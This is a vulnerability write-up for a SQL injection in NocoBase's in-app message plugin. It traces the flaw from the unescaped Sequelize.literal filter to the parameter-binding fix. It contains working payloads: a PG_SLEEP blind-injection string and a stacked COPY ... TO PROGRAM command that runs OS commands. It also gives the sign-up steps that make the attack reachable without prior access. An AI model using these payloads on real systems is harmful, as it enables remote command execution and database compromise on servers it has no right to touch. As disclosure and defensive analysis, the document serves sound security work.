# CVE-2026-52887 — source-level analysis References are to NocoBase `@nocobase/plugin-notification-in-app-message` at **2.0.57** (vulnerable) vs **2.0.61** (fixed). Fix commit: `68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce`. ## 1. The injectable action `src/server/defineMyInAppChannels.ts` defines the `myInAppChannels` resource with a custom `list` handler. It builds a correlated subquery for the latest message timestamp per channel: ```js const latestMsgReceiveTimestampSQL = `( SELECT messages.${messagesFieldName.receiveTimestamp} FROM ${messagesTableName} AS messages WHERE ... ORDER BY messages.${messagesFieldName.receiveTimestamp} DESC LIMIT 1 )`; ``` Then the user-supplied upper bound is concatenated in: ```js const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`) : null; ``` `filter` is `ctx.action.params.filter`, populated from the request query string. NocoBase parses bracketed query params, so `?filter[latestMsgReceiveTimestamp][$lt]=VALUE` sets `filter.latestMsgReceiveTimestamp.$lt = "VALUE"`. `Sequelize.literal()` emits its argument as **raw SQL** — no escaping, no bound parameter. `VALUE` lands verbatim inside the generated `WHERE`, so an attacker controls SQL after the `<` operator. ## 2. Injection shape The literal is spliced as `… < VALUE`. Supplying `VALUE = 0) AND 1=(SELECT 1 FROM PG_SLEEP(5))-- a` yields a syntactically valid, attacker-extended predicate — confirmed blind via the ~5s response delay. ## 3. From SQLi to OS command execution Two properties of the default deployment turn this into RCE: 1. **Stacked statements.** NocoBase talks to PostgreSQL through the `pg` (node-postgres) driver, whose simple-query protocol executes multiple `;`-separated statements in one call. So `VALUE = 0); ; -- a` runs a whole new statement. 2. **Superuser DB role.** The shipped `docker-compose.yml` sets `POSTGRES_USER=nocobase`. The postgres image always creates that bootstrap role as a **superuser**, and a superuser may run `COPY (…) TO PROGRAM ''`, which spawns `` via the server's shell as the postgres OS user. Combined payload: ``` 0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/proof 2>&1'; -- a ``` The `COPY` output is not returned in the HTTP response, so the PoC redirects to a file (or a reverse shell / OAST callback) and reads it back — verified with `uid=999(postgres)` written into a file that did not previously exist. ## 4. Unauthenticated reachability `myInAppChannels` carries the `loggedIn` ACL, so a bearer token is required. But the default `auth-basic` authenticator ships with `allowSignUp: true`, so any anonymous caller can: 1. `POST /api/auth:signUp?authenticator=basic` — create an account. 2. `POST /api/auth:signIn?authenticator=basic` — receive a bearer token. 3. Call `myInAppChannels:list` with the injection. Hence the GitHub CNA scores it `PR:N` (10.0) on a default install. ## 5. Fix diff (2.0.57 → 2.0.61) `defineMyInAppChannels.ts` introduces `parseLatestMsgReceiveTimestampLt(filter)`: ```js const value = latestMsgReceiveTimestamp.$lt; if (typeof value === 'string' && value.trim() === '') throw new Error('Invalid ...'); if (typeof value !== 'number' && typeof value !== 'string') throw new Error('Invalid ...'); const timestamp = Number(value); if (!Number.isFinite(timestamp)) throw new Error('Invalid ...'); return timestamp; ``` Any non-numeric `$lt` throws, and the handler maps that to HTTP 400. The comparison becomes a bound expression: ```js latestMsgReceiveTimestampLt !== null ? Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt) : null; ``` `Sequelize.where(..., Op.lt, )` parameter-binds the value, so raw SQL can no longer be injected. A numeric `$lt` still works (HTTP 200); the injection payloads return HTTP 400.